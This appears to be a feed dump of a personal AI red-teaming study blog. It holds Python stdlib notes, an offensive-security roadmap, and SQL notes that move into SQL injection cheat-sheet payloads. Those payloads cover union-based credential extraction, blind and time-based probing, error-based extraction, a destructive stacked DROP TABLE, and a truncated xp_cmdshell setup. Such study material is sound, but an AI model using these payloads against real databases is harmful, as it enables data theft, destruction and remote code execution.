<span class="giallo-l"><span>sock</span><span style="color: #C4B28A;"> =</span><span> socket</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">socket</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">socket</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">AF_INET</span><span style="color: #9E9B93;">,</span><span style="color: #8BA4B0;"> socket</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">SOCK_STREAM</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span>sock</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">settimeout</span><span style="color: #9E9B93;">(</span><span style="color: #A292A3;">3</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span>sock</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">connect</span><span style="color: #9E9B93;">((</span><span style="color: #8A9A7B;">"example.com"</span><span style="color: #9E9B93;">,</span><span style="color: #A292A3;"> 80</span><span style="color: #9E9B93;">))</span></span>
<span class="giallo-l"><span>sock</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">sendall</span><span style="color: #9E9B93;">(</span><span style="color: #8992A7;">b</span><span style="color: #8A9A7B;">"HEAD / HTTP/1.0</span><span style="color: #949FB5;">\r\n\r\n</span><span style="color: #8A9A7B;">"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">print</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">sock</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">recv</span><span style="color: #9E9B93;">(</span><span style="color: #A292A3;">1024</span><span style="color: #9E9B93;">))</span></span>
<span class="giallo-l"><span>sock</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">close</span><span style="color: #9E9B93;">()</span></span></code></pre><h2 id="concurrency-threading">Concurrency: threading</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span style="color: #B6927B;">import</span><span> threading</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8992A7;">def</span><span style="color: #8BA4B0;"> work</span><span style="color: #9E9B93;">(</span><span>n</span><span style="color: #9E9B93;">):</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8992A7;">f</span><span style="color: #8A9A7B;">"task </span><span style="color: #B6927B;">{</span><span style="color: #8BA4B0;">n</span><span style="color: #B6927B;">}</span><span style="color: #8A9A7B;">"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>threads</span><span style="color: #C4B28A;"> =</span><span style="color: #9E9B93;"> [</span><span>threading</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">Thread</span><span style="color: #9E9B93;">(</span><span>target</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">work</span><span style="color: #9E9B93;">,</span><span> args</span><span style="color: #C4B28A;">=</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">i</span><span style="color: #9E9B93;">,))</span><span style="color: #8992A7;font-weight: bold;"> for</span><span> i</span><span style="color: #8992A7;font-weight: bold;"> in</span><span style="color: #8BA4B0;"> range</span><span style="color: #9E9B93;">(</span><span style="color: #A292A3;">5</span><span style="color: #9E9B93;">)]</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">for</span><span> t</span><span style="color: #8992A7;font-weight: bold;"> in</span><span> threads</span><span style="color: #9E9B93;">:</span><span> t</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">start</span><span style="color: #9E9B93;">()</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">for</span><span> t</span><span style="color: #8992A7;font-weight: bold;"> in</span><span> threads</span><span style="color: #9E9B93;">:</span><span> t</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">join</span><span style="color: #9E9B93;">()</span><span style="color: #737C73;"> # wait for all to finish</span></span></code></pre>
<blockquote>
<p>Threads speed up <strong>I/O-bound</strong> work (many concurrent requests, port checks). Due to the GIL they don't parallelize CPU-bound work — use <code>multiprocessing</code> for that.</p>
</blockquote>
<h2 id="context-managers-contextlib">Context managers: contextlib</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span style="color: #B6927B;">from</span><span> contextlib</span><span style="color: #B6927B;"> import</span><span> contextmanager</span><span style="color: #9E9B93;">,</span><span> suppress</span></span>
<span class="giallo-l"><span style="color: #B6927B;">import</span><span> time</span><span style="color: #9E9B93;">,</span><span> os</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #9E9B93;">@</span><span style="color: #8BA4B0;">contextmanager</span></span>
<span class="giallo-l"><span style="color: #8992A7;">def</span><span style="color: #8BA4B0;"> timer</span><span style="color: #9E9B93;">():</span></span>
<span class="giallo-l"><span> start</span><span style="color: #C4B28A;"> =</span><span> time</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">time</span><span style="color: #9E9B93;">()</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;"> yield</span><span style="color: #737C73;"> # code inside the `with` runs here</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8992A7;">f</span><span style="color: #8A9A7B;">"took </span><span style="color: #B6927B;">{</span><span style="color: #8BA4B0;">time</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">time</span><span style="color: #9E9B93;">()</span><span style="color: #C4B28A;"> -</span><span style="color: #8BA4B0;"> start</span><span style="color: #8992A7;">:.2f</span><span style="color: #B6927B;">}</span><span style="color: #8A9A7B;">s"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">with</span><span style="color: #8BA4B0;"> timer</span><span style="color: #9E9B93;">():</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> do_work</span><span style="color: #9E9B93;">()</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">with</span><span style="color: #8BA4B0;"> suppress</span><span style="color: #9E9B93;">(</span><span style="color: #8EA4A2;">FileNotFoundError</span><span style="color: #9E9B93;">):</span><span style="color: #737C73;"> # ignore one specific exception</span></span>
<span class="giallo-l"><span> os</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">remove</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"maybe.txt"</span><span style="color: #9E9B93;">)</span></span></code></pre><h2 id="pickle-safety-pickletools">Pickle safety: pickletools</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span style="color: #B6927B;">import</span><span> pickle</span><span style="color: #9E9B93;">,</span><span> pickletools</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># [!warn] pickle.load() executes arbitrary code on load — NEVER unpickle untrusted data.</span></span>
<span class="giallo-l"><span style="color: #737C73;"># pickletools INSPECTS a pickle WITHOUT executing it (disassembles the opcodes):</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">with</span><span style="color: #8BA4B0;"> open</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"model.pkl"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "rb"</span><span style="color: #9E9B93;">)</span><span style="color: #8992A7;font-weight: bold;"> as</span><span> f</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span> pickletools</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">dis</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">f</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # look for REDUCE / GLOBAL opcodes = code execution</span></span></code></pre>
<blockquote>
<p>Directly relevant to <strong>supply-chain / malicious pickle</strong>:</p>
</blockquote>
<blockquote>
<p>attackers hide code in <code>.pkl</code> model files;</p>
</blockquote>
<blockquote>
<p><code>pickletools.dis</code> lets you audit one before trusting it.</p>
</blockquote>
<h2 id="time">time</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span style="color: #B6927B;">import</span><span> time</span></span>
<span class="giallo-l"><span>time</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">time</span><span style="color: #9E9B93;">()</span><span style="color: #737C73;"> # epoch seconds (float)</span></span>
<span class="giallo-l"><span>time</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">sleep</span><span style="color: #9E9B93;">(</span><span style="color: #A292A3;">1.5</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # pause (rate-limiting, retries)</span></span>
<span class="giallo-l"><span>start</span><span style="color: #C4B28A;"> =</span><span> time</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">time</span><span style="color: #9E9B93;">()</span><span>; </span><span style="color: #8BA4B0;">work</span><span style="color: #9E9B93;">()</span><span>; </span><span style="color: #8BA4B0;">print</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">time</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">time</span><span style="color: #9E9B93;">()</span><span style="color: #C4B28A;"> -</span><span style="color: #8BA4B0;"> start</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # measure duration</span></span>
<span class="giallo-l"><span>time</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">strftime</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"%Y-%m-</span><span style="color: #B6927B;">%d</span><span style="color: #8A9A7B;"> %H:%M:%S"</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # formatted timestamp</span></span></code></pre><h2 id="cli-tools-argparse">CLI tools: argparse</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span style="color: #B6927B;">import</span><span> argparse</span></span>
<span class="giallo-l"><span>p</span><span style="color: #C4B28A;"> =</span><span> argparse</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">ArgumentParser</span><span style="color: #9E9B93;">(</span><span>description</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"my tool"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span>p</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">add_argument</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"target"</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # positional arg</span></span>
<span class="giallo-l"><span>p</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">add_argument</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"-p"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "--port"</span><span style="color: #9E9B93;">,</span><span> type</span><span style="color: #C4B28A;">=</span><span style="color: #8EA4A2;">int</span><span style="color: #9E9B93;">,</span><span> default</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">80</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span>p</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">add_argument</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"-v"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "--verbose"</span><span style="color: #9E9B93;">,</span><span> action</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"store_true"</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # flag</span></span>
<span class="giallo-l"><span>args</span><span style="color: #C4B28A;"> =</span><span> p</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">parse_args</span><span style="color: #9E9B93;">()</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">print</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">args</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">target</span><span style="color: #9E9B93;">,</span><span style="color: #8BA4B0;"> args</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">port</span><span style="color: #9E9B93;">,</span><span style="color: #8BA4B0;"> args</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">verbose</span><span style="color: #9E9B93;">)</span></span></code></pre><h2 id="materials">Materials</h2>
<ul>
<li>Python standard library docs - <a rel="external" href="https://docs.python.org/3/library/">https://docs.python.org/3/library/</a></li>
</ul>
Road to OSAI (roadmap)
2026-07-06T00:00:00+00:00
2026-07-06T00:00:00+00:00
Frekler
https://frekler.com/ai-red-teaming/notes/road-to-osai/
<h2 id="part-1-foundations">Part 1 - Foundations</h2>
<h3 id="1-1-linux-bash">1.1 Linux / bash</h3>
<p>filesystem hierarchy, grep, pipes, wc, sort, cut; permissions; processes; environment; bash scripts; ssh/scp; find/locate; awk/sed.</p>
<h3 id="1-2-network-ports-http-curl-jq">1.2 Network / Ports / HTTP / curl / jq</h3>
<p>nmap, service/version enum, DNS, subdomain enum, ffuf/gobuster; http/https; websockets; methods; status codes; headers (Bearer/JWT, ETag); API styles (REST, JSON-RPC for MCP, etc.); curl; jq; bash loop over an API.</p>
<h3 id="1-3-web-basics">1.3 Web (basics)</h3>
<p>trust boundary, path traversal, injections, XSS/CSRF/SSRF, IDOR, broken access control, Burp Suite.</p>
<h3 id="1-4-sql">1.4 SQL</h3>
<p>SELECT/WHERE/JOIN/UNION/ORDER BY, subqueries, information_schema, MySQL/Postgres/MSSQL; string concatenation; comments; UNION SELECT NULL,... + column count (ORDER BY n); stacked queries (;).</p>
<h3 id="1-5-python">1.5 Python</h3>
<p>dict/list/set, comprehensions, requests (Session, json=), socket, threading, io, contextlib, shutil, pickletools, zipfile, time, argparse, json, re, sys, platform, os, subprocess, tempfile, try/except, venv/pip, with open, base64/urllib.</p>
<h3 id="1-6-llm-rag-agents">1.6 LLM / RAG / agents</h3>
<p>tokens/BPE, embeddings, attention, context window, temperature/top-p, logits; RAG (vector DBs: Qdrant/Weaviate/Chroma/FAISS, cosine similarity/kNN, chunking, BM25, retrieval); agents (tool calling, MCP/JSON-RPC, A2A); prompt injection (direct/indirect), jailbreak, data exfiltration, system prompt leaking, OWASP LLM Top 10.</p>
<h3 id="1-7-git">1.7 Git</h3>
<p>basics, branches, .gitignore; GitHub/GitLab; git log/git diff/git reflog for finding secrets in history; dumping an exposed .git/ from a web server (git-dumper, GitTools); secret scanners (trufflehog, gitleaks).</p>
<h3 id="1-8-docker">1.8 Docker</h3>
<p>run/exec/ps/images, build, pull/push, inspect, history; Dockerfile, volumes/ports, docker-compose; secrets in image layers (docker history, dive); capabilities (--cap-add, CAP_SYS_ADMIN), namespaces/cgroups; escapes (--privileged, docker.sock).</p>
<h2 id="part-2-in-depth">Part 2 - In depth</h2>
<h3 id="2-1-ml-engineering">2.1 ML engineering</h3>
<p>ML/DL basics (classifier, train vs inference, features, overfitting, decision boundary + gradients), NumPy/pandas, PyTorch, Hugging Face, fine-tuning LoRA/PEFT, SymPy, tokenizers, pickle (reduce), safetensors.</p>
<h3 id="2-2-web-in-depth-reverse-shells">2.2 Web in depth + reverse shells</h3>
<p>SSTI (Jinja2, RCE), path traversal/LFI, command injection, SQLi (xp_cmdshell); reverse shells (bash /dev/tcp, python, nc -lvnp, msfvenom); deserialization, XXE, file upload (RCE); TTY upgrade; WAF/filter bypass.</p>
<h3 id="2-3-privesc-accounts">2.3 Privesc + accounts</h3>
<p>SUID/SGID, sudo -l, cron, PATH hijacking, capabilities; hashcat/john, NTLMv2, Responder, LLMNR/NBT-NS, pass-the-hash, authorized_keys; kernel exploits (DirtyCow/DirtyPipe); Windows privesc (SeImpersonate, PrintSpoofer/JuicyPotato, unquoted service path); mimikatz.</p>
<h3 id="2-4-active-directory-ad">2.4 Active Directory (AD)</h3>
<p>LDAP/Kerberos/NTLM/SPN, BloodHound, Kerberoasting, AS-REP roasting, DCSync, ACL abuse (GenericWrite/WriteDACL), impacket, NetExec, Rubeus (Domain Admin); Golden/Silver ticket, pass-the-ticket; delegation (unconstrained/constrained/RBCD); ADCS abuse (Certipy, ESC1).</p>
<h3 id="2-5-pivoting-tunnels-c2">2.5 Pivoting / tunnels / C2</h3>
<p>proxychains, SSH -L/-R/-D, chisel, ligolo-ng, socat/sshuttle, xfreerdp, Sliver and alternatives (Havoc/Mythic), AV/EDR evasion (AMSI bypass); evil-winrm, psexec/wmiexec/smbexec (impacket); LOLBAS.</p>
<h3 id="2-6-aws-cloud-infrastructure-for-ai-cli">2.6 AWS (cloud infrastructure for AI, CLI)</h3>
<p>IAM (trust policy, sts:AssumeRole chaining), IMDS 169.254.169.254 (SSRF, creds), IMDSv1 vs IMDSv2, S3 / Secrets Manager / SSM, Pacu; privilege escalation (iam:PassRole, policy versions), Lambda/ECR, CloudTrail (evasion), ScoutSuite/enumerate-iam.</p>
<h3 id="2-7-kubernetes-k8s-infrastructure-for-ai-cli">2.7 Kubernetes (K8s infrastructure for AI, CLI)</h3>
<p>pod/namespace/RBAC, ServiceAccount tokens, kubectl auth can-i, container escape (privileged, nsenter, LD_PRELOAD, CVE), gcc, hostPath/hostPID/privileged securityContext, kubelet API (:10250)/etcd, peirates/kube-hunter.</p>
<h3 id="2-8-attacks-on-models-embeddings-supply-chain">2.8 Attacks on models / embeddings / supply chain</h3>
<p>data/model poisoning, backdoor, membership inference, model inversion, model extraction/stealing, evasion (adversarial examples), embedding inversion; model formats (GGUF/ONNX/.pt), malicious pickle (fickling tool).</p>
<h3 id="2-9-threat-modeling">2.9 Threat modeling</h3>
<p>assumptions register, crown-jewel ranking, trust boundaries, STRIDE, attack trees, DFD, MITRE ATLAS & ATT&CK, OWASP LLM/ML Top 10, RoE; risk = likelihood × impact; reporting (executive summary, remediation, CVSS).</p>
SQL
2026-07-06T00:00:00+00:00
2026-07-06T00:00:00+00:00
Frekler
https://frekler.com/ai-red-teaming/notes/sql/
<pre>
+ Disclaimer -----------------------+
| The content provided is |
| for educational and informational |
| purposes only |
| I do not support |
| or encourage any illegal |
+-----------------------------------+
</pre>
<h2 id="core-query-shape">Core query shape</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="sql"><span class="giallo-l"><span style="color: #8992A7;">SELECT</span><span> id, </span><span style="color: #8992A7;">name FROM</span><span> users </span><span style="color: #8992A7;">WHERE</span><span> age </span><span style="color: #C4B28A;">></span><span style="color: #A292A3;"> 18</span><span style="color: #8992A7;"> ORDER BY name</span><span>;</span></span></code></pre>
<ul>
<li><strong>SELECT</strong> - columns to return</li>
<li><strong>FROM</strong> - table(s)</li>
<li><strong>WHERE</strong> - filter rows</li>
<li><strong>ORDER BY</strong> - sort (by column name <strong>or by position number</strong>)</li>
<li><strong>LIMIT / TOP</strong> - cap rows (dialect differs)</li>
</ul>
<h2 id="where-operators">WHERE & operators</h2>
<p><code>=</code> <code><></code> <code>LIKE</code> <code>IN (...)</code> <code>BETWEEN</code> <code>AND</code> <code>OR</code> <code>IS NULL</code></p>
<h2 id="join">JOIN</h2>
<p>Combine rows across tables on a matching key.</p>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="sql"><span class="giallo-l"><span style="color: #8992A7;">SELECT</span><span> u.name, o.total</span></span>
<span class="giallo-l"><span style="color: #8992A7;">FROM</span><span> users u</span></span>
<span class="giallo-l"><span style="color: #8992A7;">JOIN</span><span> orders o </span><span style="color: #8992A7;">ON</span><span> o.user_id</span><span style="color: #C4B28A;"> =</span><span> u.id; </span><span style="color: #737C73;">-- INNER / LEFT / RIGHT</span></span></code></pre><h2 id="subqueries">Subqueries</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="sql"><span class="giallo-l"><span style="color: #8992A7;">SELECT name FROM</span><span> users</span></span>
<span class="giallo-l"><span style="color: #8992A7;">WHERE</span><span> id </span><span style="color: #8992A7;">IN</span><span> (</span><span style="color: #8992A7;">SELECT</span><span> user_id </span><span style="color: #8992A7;">FROM</span><span> orders </span><span style="color: #8992A7;">WHERE</span><span> total </span><span style="color: #C4B28A;">></span><span style="color: #A292A3;"> 100</span><span>);</span></span></code></pre><h2 id="union">UNION</h2>
<p>Stacks the results of two <code>SELECT</code>s. Requirement: <strong>same number of columns</strong> and compatible types.</p>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="sql"><span class="giallo-l"><span style="color: #8992A7;">SELECT</span><span> a, b </span><span style="color: #8992A7;">FROM</span><span> t1</span></span>
<span class="giallo-l"><span style="color: #8992A7;">UNION SELECT</span><span> c, d </span><span style="color: #8992A7;">FROM</span><span> t2;</span></span></code></pre><h2 id="finding-the-column-count-order-by-n-union-select-null">Finding the column count (ORDER BY n / UNION SELECT NULL)</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="sql"><span class="giallo-l"><span style="color: #8A9A7B;">' ORDER BY 1-- </span></span>
<span class="giallo-l"><span style="color: #8A9A7B;">'</span><span style="color: #8992A7;"> ORDER BY</span><span style="color: #A292A3;"> 2</span><span style="color: #737C73;">-- </span></span>
<span class="giallo-l"><span style="color: #8A9A7B;">' ORDER BY 3-- -- errors here → the table has 2 columns</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8A9A7B;">'</span><span style="color: #8992A7;"> UNION SELECT NULL</span><span>,</span><span style="color: #8992A7;">NULL</span><span style="color: #737C73;">-- -- NULL fits any type; no error = right count</span></span>
<span class="giallo-l"><span style="color: #8A9A7B;">' UNION SELECT NULL,version()-- -- swap a NULL for data to see which column prints</span></span></code></pre><h2 id="comments">Comments</h2>
<table><thead><tr><th>Dialect</th><th>Comment styles</th></tr></thead><tbody>
<tr><td>MySQL</td><td><code>-- </code> (trailing space!), <code>#</code>, <code>/* */</code></td></tr>
<tr><td>PostgreSQL</td><td><code>--</code>, <code>/* */</code></td></tr>
<tr><td>MSSQL</td><td><code>--</code>, <code>/* */</code></td></tr>
<tr><td>MySQL special</td><td><code>/*! ... */</code> - an <strong>executable</strong> comment (classic filter bypass)</td></tr>
</tbody></table>
<h2 id="string-concatenation-dialect-specific">String concatenation (dialect-specific)</h2>
<table><thead><tr><th>DBMS</th><th>Concatenation</th><th>Aggregate (many rows → one string)</th></tr></thead><tbody>
<tr><td>MySQL</td><td><code>CONCAT(a, b)</code></td><td><code>GROUP_CONCAT(col)</code></td></tr>
<tr><td>PostgreSQL</td><td><code>a || b</code></td><td><code>string_agg(col, ',')</code></td></tr>
<tr><td>MSSQL</td><td><code>a + b</code> or <code>CONCAT(a, b)</code></td><td><code>STRING_AGG(col, ',')</code></td></tr>
</tbody></table>
<blockquote>
<p>Gotcha: in MySQL, <code>\|\|</code> is <strong>logical OR</strong> by default, not concatenation.</p>
</blockquote>
<h2 id="schema-enumeration-information-schema">Schema enumeration: information_schema</h2>
<p>The standard metadata catalog (MySQL / PostgreSQL / MSSQL)</p>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="sql"><span class="giallo-l"><span style="color: #8992A7;">SELECT</span><span> table_name </span><span style="color: #8992A7;">FROM</span><span> information_schema.tables;</span></span>
<span class="giallo-l"><span style="color: #8992A7;">SELECT</span><span> column_name </span><span style="color: #8992A7;">FROM</span><span> information_schema.columns</span><span style="color: #8992A7;"> WHERE</span><span> table_name </span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;"> 'users'</span><span>;</span></span></code></pre>
<p>Handy current-context functions:</p>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="sql"><span class="giallo-l"><span style="color: #8992A7;">version</span><span style="color: #9E9B93;">()</span><span>; </span><span style="color: #8992A7;">database</span><span style="color: #9E9B93;">()</span><span>; user</span><span style="color: #9E9B93;">()</span><span>; </span><span style="color: #737C73;">-- MySQL / Postgres</span></span>
<span class="giallo-l"><span>@@</span><span style="color: #8992A7;">version</span><span>; </span><span style="color: #8BA4B0;">DB_NAME</span><span>(); SYSTEM_USER; </span><span style="color: #737C73;">-- MSSQL</span></span></code></pre>
<blockquote>
<p>Oracle uses <code>all_tables</code> / <code>user_tables</code> and <code>dual</code>.</p>
</blockquote>
<h2 id="stacked-queries">Stacked queries</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="sql"><span class="giallo-l"><span style="color: #8A9A7B;">'; DROP TABLE logs;-- </span></span></code></pre>
<ul>
<li>
<p>Works in <strong>MSSQL</strong> and <strong>PostgreSQL</strong>; <strong>not</strong> in default MySQL (single-statement APIs). Driver/config dependent (e.g. PHP PDO).</p>
</li>
<li>
<p>Enables <code>INSERT</code>/<code>UPDATE</code>/<code>DELETE</code> and MSSQL <code>xp_cmdshell</code> (RCE).</p>
</li>
</ul>
<h2 id="dialect-cheat-table">Dialect cheat table</h2>
<table><thead><tr><th>Feature</th><th>MySQL</th><th>PostgreSQL</th><th>MSSQL</th></tr></thead><tbody>
<tr><td>String concat</td><td><code>CONCAT</code> / <code>GROUP_CONCAT</code></td><td><code>||</code> / <code>string_agg</code></td><td><code>+</code> / <code>STRING_AGG</code></td></tr>
<tr><td>Comments</td><td><code>-- </code>, <code>#</code>, <code>/* */</code></td><td><code>--</code>, <code>/* */</code></td><td><code>--</code>, <code>/* */</code></td></tr>
<tr><td>Version</td><td><code>version()</code></td><td><code>version()</code></td><td><code>@@version</code></td></tr>
<tr><td>Current DB</td><td><code>database()</code></td><td><code>current_database()</code></td><td><code>DB_NAME()</code></td></tr>
<tr><td>Row limit</td><td><code>LIMIT n</code></td><td><code>LIMIT n</code></td><td><code>TOP n</code> / <code>OFFSET…FETCH</code></td></tr>
<tr><td>Stacked queries</td><td>no (default)</td><td>yes</td><td>yes</td></tr>
</tbody></table>
<h2 id="detecting-an-injection-point">Detecting an injection point</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="sql"><span class="giallo-l"><span style="color: #8A9A7B;">' -- breaks the query → error or changed response</span></span>
<span class="giallo-l"><span style="color: #8A9A7B;">'</span><span style="color: #8992A7;"> AND</span><span style="color: #A292A3;"> 1</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">1</span><span style="color: #737C73;">-- -- true (normal page)</span></span>
<span class="giallo-l"><span style="color: #8A9A7B;">' AND 1=2-- -- false (different page) → boolean signal</span></span>
<span class="giallo-l"><span style="color: #8A9A7B;">'</span><span style="color: #8992A7;"> AND</span><span> SLEEP(</span><span style="color: #A292A3;">5</span><span>)</span><span style="color: #737C73;">-- -- response hangs ~5s → injectable (MySQL time signal)</span></span></code></pre><h2 id="union-based-extraction-in-band">Union-based extraction (in-band)</h2>
<p>Once the column count and printed columns are known (from <code>ORDER BY / UNION SELECT NULL</code>), read data directly:</p>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="sql"><span class="giallo-l"><span style="color: #8A9A7B;">' UNION SELECT username, password FROM users-- </span></span>
<span class="giallo-l"><span style="color: #8A9A7B;">'</span><span style="color: #8992A7;"> UNION SELECT</span><span> table_name, </span><span style="color: #8992A7;">NULL FROM</span><span> information_schema.tables</span><span style="color: #737C73;">-- </span></span>
<span class="giallo-l"><span style="color: #8A9A7B;">' UNION SELECT GROUP_CONCAT(username,'</span><span>:</span><span style="color: #8A9A7B;">',password), NULL FROM users-- -- many rows → one field</span></span></code></pre><h2 id="blind-sqli-no-output-shown">Blind SQLi (no output shown)</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="sql"><span class="giallo-l"><span style="color: #737C73;">-- boolean-based: true/false questions, watch the page change</span></span>
<span class="giallo-l"><span style="color: #8A9A7B;">' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='</span><span>a</span><span style="color: #8A9A7B;">'-- </span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8A9A7B;">-- time-based: when even true/false isn'</span><span>t visible, </span><span style="color: #8992A7;">use</span><span> a </span><span style="color: #8992A7;">delay as</span><span> the answer</span></span>
<span class="giallo-l"><span style="color: #8A9A7B;">' AND IF(SUBSTRING(...)='</span><span>a</span><span style="color: #8A9A7B;">', SLEEP(3), 0)-- -- MySQL</span></span>
<span class="giallo-l"><span style="color: #8A9A7B;">'</span><span>; </span><span style="color: #8992A7;">IF</span><span> (</span><span style="color: #A292A3;">1</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">1</span><span>) </span><span style="color: #8992A7;">WAITFOR DELAY</span><span style="color: #8A9A7B;"> '0:0:3'</span><span style="color: #737C73;">-- -- MSSQL</span></span>
<span class="giallo-l"><span style="color: #8A9A7B;">' AND 1=(SELECT 1 FROM pg_sleep(3))-- -- PostgreSQL</span></span></code></pre><h2 id="error-based-extraction">Error-based extraction</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="sql"><span class="giallo-l"><span style="color: #8A9A7B;">' AND extractvalue(1, concat(0x7e, (SELECT version())))-- -- MySQL</span></span>
<span class="giallo-l"><span style="color: #8A9A7B;">'</span><span style="color: #8992A7;"> AND</span><span style="color: #A292A3;"> 1</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">CONVERT</span><span>(</span><span style="color: #8992A7;">int</span><span>, (</span><span style="color: #8992A7;">SELECT</span><span> @@</span><span style="color: #8992A7;">version</span><span>))</span><span style="color: #737C73;">-- -- MSSQL</span></span></code></pre><h2 id="sql-rce">SQL -> RCE</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="sql"><span class="giallo-l"><span style="color: #8A9A7B;">'; EXEC sp_configure '</span><span>show advanced options</span><span style="color: #8A9A7B;">',1; RECONFIGURE;</span></span>
